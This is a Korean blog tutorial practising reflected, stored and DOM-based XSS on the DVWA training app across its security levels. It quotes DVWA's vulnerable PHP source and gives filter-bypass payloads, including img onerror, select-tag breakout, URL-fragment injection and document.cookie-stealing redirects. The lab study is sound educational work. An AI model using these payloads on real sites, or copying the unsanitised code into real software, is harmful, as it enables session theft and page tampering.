기준
취약점 설명
사용자의 브라우저(크롬, 익스플로러, 엣지, 웨일 등등)에서 스크립트가 실행되도록 공격자가 악의적인 스크립트를 사용자로 하여금 실행되도록 하는 공격 방법입니다.
XSS(Cross-Site Script)를 사용한 공격은 세션을 가로채거나 웹 페이지 변조, 악성 콘텐츠 삽입, 피싱 공격 등에 주로 사용됩니다.
주로 XSS(Cross-Site Scirpt) 공격은 3가지로 분류가 됩니다.
Reflected-XSS : 공격자가 피해자로 하여금 서버에 스크립트를 실행하도록 유도하여 정보를 요청하도록 만드는 공격입니다. 사용자가 요청한 정보를 공격자에게 전송하도록 설정하여 의도한 정보를 획득하는 방식입니다. URL 접근으로 스크립트를 피해자의 PC에서 전송하도록 만드는 공격으로 1회성 공격이라고 할 수 있습니다.
Stored-XSS : 공격자가 서버에 저장하여 공격하는 방식으로 덫을 설치한다고 생각하면 쉽습니다. 공격자가 취약한 게시판이나 댓글 등의 공간에 악의적인 스크립트를 저장하여 해당 게시물에 방문한 피해자가 스크립트를 실행하여 공격자에게 전송하는 방식입니다. Stored-XSS는 서버의 데이터베이스에 저장되어 방문하는 사용자는 상대로 실행되기 때문에 지속적인 피해를 발생시킬 수 있습니다.
DOM(Document object Model) Based XSS : 문서 객체 모델(DOM)을 사용하여 피해자의 브라우저에서 서버와 상호작용하지 않고 실행되는 스크립트입니다. 서버를 상대로 하지 않은 공격이고 대상은 피해자로 정해진 공격입니다. 스크립트 삽입 시에 서버로 전송되는 패킷에 스크립트가 포함되지 않고 피해자의 브라우저만을 상대로 하기 때문에 웹 사이트의 코드를 확인하지 않고는 발견할 수 없는 취약점입니다.
세 가지의 XSS 종류 중 Reflected와 DOM based는 비슷한 부분이 많지만 가장 큰 차이점은 서버에 스크립트를 전송하여 정보를 획득하는 방식과 피해자의 브라우저만을 상대로 하느냐가 차이입니다.
Reflected와 Stored는 응답 페이지의 HTML에서 삽입된 악성 스크립트가 보이기 때문에 발견 가능성이 높지만, DOM based는 패킷에서 보이는 공격이 아니기 때문에 웹사이트의 코드나 URL을 자세하게 보지 않는 이상 발견하기 어려운 취약점입니다.
공격 방법
(본 취약점은 DVWA를 활용하여 실습해보도록 하겠습니다.)
1.Reflected-XSS
1) Low Level
Low Level의 보안을 위한 필터를 없는 것으로 확인됩니다.
기본 스크립트 삽입을 시도해 보겠습니다.
<script>alert("XSS")</script>
소스 내에 따로 구현된 필터링이 없기 때문에 script를 사용하여 시도하도록 하겠습니다.
삽입된 스크립트가 정상적으로 실행되는 것을 확인할 수 있습니다.
2) Medium Level
페이지의 형태는 Low Level에서 본 것과 같은 것을 확인할 수 있습니다.
소스코드를 확인해보니 str_replace를 이용해 <script>를 빈칸으로 필터링하는 것을 확인할 수 있습니다.
위와 같은 경우에는 script를 사용하지 않고 태그를 이용하여 시도해보도록 하겠습니다.
<SCRIPT>alert("XSS")</SCRIPT>
소스코드를 확인했을 경우 <script>를 필터링하는 것을 확인할 수 있었습니다. 하지만 저 문자열 즉 소문자로 구성된 <script>만을 필터링하고 있으므로 대문자로 바꾸어주고 시도해보도록 하겠습니다.
스크립트가 정상적으로 실행되는 것을 확인할 수 있습니다.
필터링이 된다고 하더라도 필터링 방식에 따라 대소문자 구별만으로도 성공할 수 있는 것을 확인할 수 있었습니다.
3) High Level
페이지의 형태는 전과 동일합니다.
소스코드를 확인해보면 전과 달리 대/소분자 전부 필터링하는 것을 확인할 수 있습니다.
이런 경우에는 script를 사용하지 않고 태그를 이용하여 시도할 수 있을 것이라 생각하고 진행해보도록 하겠습니다.
위에서 img와 on 태그를 사용해서 스크립트를 작성해보았습니다.
img는 src에 redirect를 걸어줄 필요는 없기 때문에 blank로 두고 onerror에 alert를 삽입하여 진행해보도록 하겠습니다.
삽입된 스크립트가 정상적으로 실행되는 것을 확인할 수 있습니다.
위와 같은 경우 script를 사용하지 않고 on 태그를 사용하여 XSS를 성공했습니다.
사용 가능한 스크립트 태그를 생각나는 대로 나열해보면 script, iframe, object, onerror, onmouseover, onload, img, a 등등이 있습니다.
위의 스크립트에서 응용해서 사용해보자면
i) <img width="0" height="0" src="x" onerror="document.localtion='http://192.168.75.128/dvwa/vulnerabilities/xss_r/?name='+document.cookie">
ii) <script>location.href="http://192.168.75.128/dvwa/vulnerabilities/xss_r/?name="+document.cookie</script>
iii) <img src="/dvwa/vulnerabilities/xss_r/?name="+document.cookie>
위와 같이 작성하여 적용하는 방식도 생각해볼 수 있습니다.
2. Stored-XSS
1) Low Level
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
페이지의 형태는 흔한 게시판의 형태인 것을 확인할 수 있습니다.
소스코드를 확인해보면 따로 구현되어 있는 필터링은 없는 것을 확인할 수 있습니다.
name 필드는 maxlength가 10이고 Message필드는 50인 것을 확인할 수 있습니다.
소스 상에서 name필드에 스크립트를 넣을 수 있는 길이는 안되지만 따로 방법은 있습니다.
우선 Low Level에서는 Message 필드에 기본 스크립트를 삽입하는 방식으로 시도해보도록 하겠습니다.
<script>alert("XSS")</script>
위와 같이 message필드에 기본 스크립트를 삽입하여 시도해보도록 하겠습니다.
스크립트가 정상적으로 실행되는 것을 확인할 수 있습니다.
2) Medium Level
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
이번에도 마찬가지로 페이지의 형태는 Low Level과 동일합니다.
하지만 여기에서 볼 수 있는 소스코드의 차이점은 message와 name필드에 다르게 적용된 보안 조치입니다.
message필드는 htmlspecialchars( $message )로 조치된 것을 확인할 수 있는데 우회하는 방법으로 나오는 것 들은 소스코드 내에 취약한 태그가 있어서 삽입된 스크립트가 실행되는 경우 말고는 알고 있는 바가 없습니다.
(혹시 아는 분은 알려주세요ㅋㅋ)
하지만 name필드는 <script>만을 필터링하고 있으며 reflected medium level때와 같이 해당 문자열 만을 필터링하고 있다는 것을 알 수 있습니다.
그럼 전과 마찬가지로 시도하고 싶지만 name 필드의 maxlength가 10으로 제한되어 삽입할 수 없다고 생각할 수 있습니다. 이런 경우 우회 방법은 여러 가지가 있지만 두 가지만 말하자면 첫 번째는 개발자 도구에서 maxlength값을 바꿔주는 것이고 두 번째는 파라미터를 수정하는 방법이 있습니다.
먼저 maxlength값을 바꿔보도록 하겠습니다.
변경하려는 필드를 더블클릭하면 위 사진처럼 변경이 가능합니다.
물론 사용자 브라우저에서 HTML 코드 수정이므로 서버와는 관련이 없습니다.
바꾼 후에 작성해보면 위와 같이 작성되는 것을 확인할 수 있습니다. 그 상태에서 Sigh Guestbook을 눌러주시면 스크립트가 삽입되는 것을 확인할 수 있습니다.
HTML 코드만 수정한 것일 뿐 서버를 수정한 게 아니기 때문에 새로고침하면 원상태로 복귀됩니다.
두 번째는 파라미터 값을 수정하는 방법입니다.
위 사진과 같이 각 필드에 아무 값이나 채워준 후에 Sign Guestbook을 눌러줍니다. 그 파라미터 값을 아래와 같이 수정해주는 방법으로 삽입해줄 수 있습니다.
먼저 언급한 방법으로 삽입하였을 경우 위의 사진과 같이 스크립트가 실행되는 것을 확인할 수 있습니다.
3) High Level
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
페이지의 형태는 전과 동일합니다.
소스코드를 확인해보면 message 필드는 전과 동일한 것을 알 수 있지만 name 필드는 reflected-XSS의 High Level과 동일하게 script를 대/소문자 구분 없이 필터링하는 것을 알 수 있습니다.
name 필드에 <img src="" onerror=alert("XSS")>를 삽입하여 시도해보겠습니다.
이처럼 스크립트가 정상적으로 실행되는 것을 확인할 수 있습니다.
위의 내용에서 알 수 있는 것은 Reflected와 Stored는 저장의 차이일 뿐 공격 방법에서는 큰 차이를 보이지 않는 것을 알 수 있었습니다.
하지만 Reflected는 1회성 공격이고 Stored는 저장되어 유지되므로 지속성이 있는 공격 방법이라는 차이가 있었습니다.
3. DOM(Document Object Model) Based XSS
1) Low Level
페이지의 형태는 언어를 선택하는 구성으로 되어있습니다.
소스코드를 확인해보면 아무런 보안 조치가 되어있지 않은 것을 알 수 있습니다.
English를 선택한 후 Select를 눌러주면 위와 같이 URL에 default=English가 생성되는데 이 필드에 스크립트를 삽입해보려고 합니다.
위와 같이 English 대신 스크립트를 넣어주면 실행되는 것을 확인할 수 있습니다.
하지만 중요한 것은 스크립트가 서버에 전송되는가가 가장 중요한 부분입니다.
위의 사진처럼 패킷에 정보가 포함되어 전송됐고 웹 페이지 소스에도 남는 것을 확인할 수 있습니다.
일단 계속 진행해보도록 하겠습니다.
2) Medium Level
페이지의 형태는 동일하지만 Low Level과 다르게 <script가 Deny 되는 것을 확인할 수 있습니다.
stripos()를 통해 필터링을 하고 있는데 확인하고자 하는 문자열(=<script)을 앞부터 검색해서 찾고자 하는 문자열이 몇 번째 위치에 존재하는지 리턴해주는 함수입니다.
이런 경우 대문자로 script를 넣어준다고 하더라도 필터링될 수 있습니다.
그러므로 Reflected High Level에서 사용한 스크립트를 사용하여 시도해보도록 하겠습니다.
위의 사진처럼 스크립트를 삽입해주면 실행되지 않는 것을 확인할 수 있습니다.
실행이 되지 않는 이유를 알기 위해서 소스를 확인해보도록 하겠습니다.
스크립트가 삽입된 부분을 확인해보면 select가 실행 중인 것을 알 수 있습니다.
select 내에서는 img 태그가 들어갈 수 없기 때문에 스크립트가 실행되지 않았던 것입니다.
그럼 작성된 스크립트 앞에 </select>를 삽입하여 다시 시도해보겠습니다.
</select><img src="" onerror=alert("XSS")><select>
위처럼 스크립트를 삽입해보면 실행되는 것을 확인할 수 있습니다.
뒤에 <select>를 넣어준 이유는 그냥 지저분한 게 싫어서입니다.
전과 마찬가지로 패킷과 웹 페이지 소스를 확인해보도록 하겠습니다.
이번에도 마찬가지로 패킷과 페이지 소스에서 스크립트가 포함되어 있는 것을 확인할 수 있습니다.
분명 서버로는 전송되지 않는다 알고 있지만 왜 이러는지 궁금한 분이 있을 거라 생각합니다.
이 방법은 마지막 High Level을 보면 알 수 있습니다.
3) High Level
페이지의 형태는 역시 동일합니다.
소스코드를 확인해보면 switch함수를 통해 case를 정해두고 값을 받아가는 것을 확인할 수 있습니다.
white list형식으로 다른 값이 들어가면 공격하기 까다로운 상황인 것입니다.
이런 경우 전에 말씀드린 바와 같이 서버에서는 정상적인 패킷으로 인식하되 클라이언트의 브라우저에만 공격하도록 스크립트를 작성해야 합니다.
http://192.168.75.128/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("XSS")</script>
위에서 처럼 #을 이용해 뒤의 스크립트는 서버로 전달되지 않도록 주석처리해주었습니다.
사진처럼 삽입한 스크립트가 정상적으로 실행되는 것을 확인할 수 있습니다.
여기에서 패킷과 웹 페이지 소스를 확인해보도록 하겠습니다.
위의 사진에서 확인할 수 있듯이 서버로 전송되는 패킷에서는 공격 스크립트가 확인되지 않습니다.
하지만 브라우저의 웹 페이지 소스에서는 스크립트가 남는 것을 확인할 수 있습니다.
이렇게 웹 페이지 소스를 직접 확인해야 알 수 있기 때문에 사용자가 URL이나 웹 소스를 보지 않는 이상 발견하기 어렵습니다.
'Web' 카테고리의 다른 글
불충분한 인증 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.23 |
---|---|
약한 문자열 강도 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.22 |
악성 콘텐츠 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.21 |
정보 누출 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.21 |
디렉터리 인덱싱 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.04 |